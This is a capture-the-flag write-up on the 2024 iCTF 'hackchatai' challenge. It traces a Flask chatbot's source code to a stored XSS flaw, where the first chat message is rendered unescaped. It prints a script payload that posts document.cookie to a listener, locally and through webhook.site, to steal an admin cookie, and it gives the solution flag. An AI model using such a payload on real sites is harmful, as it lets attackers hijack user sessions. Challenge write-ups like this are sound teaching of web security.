Recently, I competed in iCTF with several friends, as I was told there would be interesting and fun challenges. I was not disappointed!
The 2024 iCTF is sponsored by the ACTION NSF AI Institute, and was organized by Shellphish and the UCSB Women in Computer Science group.
https://ictf-under-hackchatai.chals.io
Let’s take a look at the site!
Upon hitting “Play Game”, we’re given a chat interfact. We can interact with an LLM, and we can message the bot. Ok cool. We’re also given the source code entirely, so I’m going to spin the server up locally.
Since I’m given the source code, life is easy. I don’t need to analyze the traffic with burp, I can implement my manual breakpoints, and I can see what’s going on.
The code is a simple Flask app. The main part of the code is app.py
,which spins up the server. Looking at this, we have a global variable named CTF_FLAG.
Tracing the pathway that CTF_FLAG is used, I see an admin() route that renders a template with the flag: return render_template_string(admin_page_template, FLAG=CTF_FLAG, username="Admin", chat_history=chat_history)
This is the only place that CTF_FLAG is used. I also see that chat_history is rendered in the template, which is something we can control as a user. Seeing this, my thought process is that this was an SSTI (server-side template injection) challenge.
Server-Side Template Injection is a vulnerability that allows an attacker to inject code into a template that is rendered on the server. This can lead to RCE (Remote Code Execution) if the attacker is able to execute arbitrary code. They arise when user input is concatenated into templates rather than being passed in as data. While it’s not as common as other web attacks, like SQL injection, local file inclusion, or XSS (Cross-Site Scripting), it’s still a vulnerability that can be exploited, and is often overlooked by developers.
In this code, we’re using Jinja for our templating engine, which is a common engine for Flask. After trying some SSTI payloads, I didn’t really get much success. And even if we could do a template injection, access to the admin page was denied anyways.
After trying some SSTI payloads with no luck, I decided to look deeper at the rest of the code. Specifically, how to trigger an admin page. While looking, I reread over the source code again, and implemented breakpoints to watch the pathways that the code took on execution.
An interesting part of the code is the send_message()
function. It performs a regex check for the text i need a human
using the regex string "i\s*need\s*a\s*human"
, and if it finds it, we enter a portion of the code that doesn’t seem to be the most safely written. But, all it does is scan for those words in a string. Which means we can append more words to the string and still trigger the code to get the admin cookie. If we do this, we can get the admin cookie, neat! However, the problem lays in how to exfil the admin cookie, as the response won’t contain it.
@app.route('/send_message', methods=['POST'])
@limiter.limit("60 per minute")
def send_message():
global client
message = request.json.get('message')
play_token = request.cookies.get('play_token')
logger.info(f"Received message: {message}, play_token: {play_token}")
if not play_token:
return jsonify({'error': 'Access denied: No play token provided'}), 403
# Check word count
word_count = len(message.split())
if word_count > 35:
return jsonify({'response': 'Do you think you smart haha :)'})
with sqlite3.connect(DATABASE) as conn:
cursor = conn.execute(VALIDATE_PLAY_TOKEN, (play_token,))
if cursor.fetchone():
# Save the user's message
conn.execute(SAVE_USER_MESSAGE,
(play_token, message, 0))
conn.commit()
if re.match(r"i\s*need\s*a\s*human", message, re.IGNORECASE):
# Get the admin cookie from the database associated with the play token
cursor = conn.execute(GET_ADMIN_COOKIE, (play_token,))
try:
admin_cookie = cursor.fetchone()[0]
isLoaded = load_admin_page(admin_cookie=admin_cookie, play_token=play_token)
logger.info(f" web driver successfully loaded {isLoaded}")
except Exception as e:
logger.error(f"Error loading web driver: {e}")
return jsonify({'response': 'Apologies, No human support available'})
return jsonify({'response': 'No human support available'})
try:
response_message = get_answer(client=client, question=message)
except Exception as e:
load_dotenv()
client = OpenAI(api_key=API_KEY, base_url=BASE_URL)
response_message = get_answer(client=client, question=message)
# Save the server's response
conn.execute(SAVE_SERVER_MESSAGE,
(play_token, response_message, 1))
conn.commit()
return jsonify({'response': response_message})
else:
return jsonify({'error': 'Access denied: Invalid play token'}), 403
After looking over the other code, I noticed that in admin_page_template.py
, which is called by render_template_string(admin_page_template, FLAG=CTF_FLAG, username="Admin", chat_history=chat_history)
, we have this codeblock in the script for the admin page template
Huh. chat[0] (the first message in chat history) is marked as “safe”, which means it won’t be automatically escaped by Jinja. This means we can inject scripts in the first message we send and they will execute. I set up a local netcat listener, and sent a payload which should exfiltrate the admin cookie.
i need a human <script>fetch('http://127.0.0.1:4444', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>
And lo and behold, it worked. I got the admin cookie.
Now that I was able to obtain the admin cookie locally, I needed to exfiltrate it remotely. I set up a simple listener using webhook.site, and sent the same payload.
And our listener received the admin cookie.
Cool. With this cookie, I think I can now access the admin page. To test this out, I just need to set the cookie in my browser and navigate to the admin page.
And there we go. The flag is ictf{well_d0n3_on_s0lv1ng_th1s_ch4ll3ng3_hackchatai24}
This was a challenge masquerading as an SSTI challenge, but was actually an XSS challenge.
Using source code, sometimes you’ll find pathways that don’t actually work as intended. Also, using safe in Jinja should only be used on data that is known to be safe, and not on user-controlled data.